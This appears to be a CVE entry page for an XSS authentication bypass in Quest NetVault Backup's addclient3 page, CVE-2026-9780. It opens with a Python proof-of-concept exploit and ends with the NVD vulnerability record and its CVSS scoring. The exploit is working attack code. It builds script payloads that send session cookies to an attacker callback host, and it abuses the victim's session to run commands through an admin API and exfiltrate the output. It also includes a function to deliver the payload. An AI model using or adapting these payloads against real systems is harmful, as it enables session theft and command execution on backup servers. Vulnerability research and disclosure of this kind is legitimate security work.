CVE-2026-9780

# CVE-2026-9780 PoC - Quest NetVault Backup addclient3 XSS Authentication Bypass # ZDI-CAN-27666 / ZDI-26-369 # WARNING: This PoC is for educational and authorized testing purposes only. import requests from urllib.parse import quote TARGET_URL = "https://target-host:8443" NETVAULT_PATH = "/addclient3" def craft_xss_payload(callback_url): """ Craft XSS payload targeting the addclient3 page parameter. The payload attempts to steal session cookies and forward them to the attacker's controlled server. """ # XSS payload to exfiltrate session cookies payload = ( f"<script>" f"var img=new Image();" f"img.src='{callback_url}/steal?c='+encodeURIComponent(document.cookie);" f"</script>" ) return payload def craft_auth_bypass_payload(callback_url): """ Craft payload combining XSS with authentication bypass. Attempts to call administrative functions via the management API using the victim's authenticated session context. """ payload = ( f"<script>" f"fetch('{TARGET_URL}/api/admin/exec', {{" f" method:'POST'," f" credentials:'include'," f" body:JSON.stringify({{cmd:'whoami'}})," f" headers:{{'Content-Type':'application/json'}}" f"}}).then(r=>r.text()).then(d=>fetch('{callback_url}/exfil?d='+btoa(d)));" f"</script>" ) return payload def deliver_payload(target_url, payload): """ Deliver the XSS payload via the vulnerable addclient3 endpoint. """ params = { "clientName": payload, "action": "add" } try: response = requests.get( f"{target_url}{NETVAULT_PATH}", params=params, verify=False, timeout=10 ) print(f"[+] Payload delivered to {target_url}") print(f"[+] Response status: {response.status_code}") return response except Exception as e: print(f"[-] Error delivering payload: {e}") return None if __name__ == "__main__": CALLBACK = "http://attacker-server:8080" xss = craft_xss_payload(CALLBACK) bypass = craft_auth_bypass_payload(CALLBACK) print(f"[*] XSS Payload: {xss}") print(f"[*] Auth Bypass Payload: {bypass}") # deliver_payload(TARGET_URL, xss)

{"cve": {"id": "CVE-2026-9780", "sourceIdentifier": "[email protected]", "published": "2026-06-25T00:17:48.187", "lastModified": "2026-06-25T14:23:56.107", "vulnStatus": "Undergoing Analysis", "cveTags": [], "descriptions": [{"lang": "en", "value": "Quest NetVault Backup addclient3 Cross-Site Scripting Authentication Bypass Vulnerability. This vulnerability allows remote attackers to bypass authentication on affected installations of Quest NetVault Backup. User interaction is required to exploit this vulnerability in that the target must visit a malicious page or open a malicious file.\n\nThe specific flaw exists within the addclient3 webpage. The issue results from the lack of proper validation of user-supplied data, which can lead to the injection of an arbitrary script. An attacker can leverage this in conjunction with other vulnerabilities to execute arbitrary code in the context of SYSTEM. Was ZDI-CAN-27666."}], "affected": [{"source": "[email protected]", "affectedData": [{"vendor": "Quest", "product": "NetVault Backup", "defaultStatus": "unknown", "versions": [{"version": "14.0.1.7", "status": "affected"}]}]}], "metrics": {"cvssMetricV30": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.0", "vectorString": "CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "baseScore": 8.8, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.8, "impactScore": 5.9}], "ssvcV203": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "ssvcData": {"timestamp": "2026-06-25T12:47:12.693151Z", "id": "CVE-2026-9780", "options": [{"exploitation": "none"}, {"automatable": "no"}, {"technicalImpact": "total"}], "role": "CISA Coordinator", "version": "2.0.3"}}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-79"}]}], "references": [{"url": "https://support.quest.com/technical-documents/netvault/14.0.2/release-notes#TOPIC-2338529", "source": "[email protected]"}, {"url": "https://www.zerodayinitiative.com/advisories/ZDI-26-369/", "source": "[email protected]"}]}}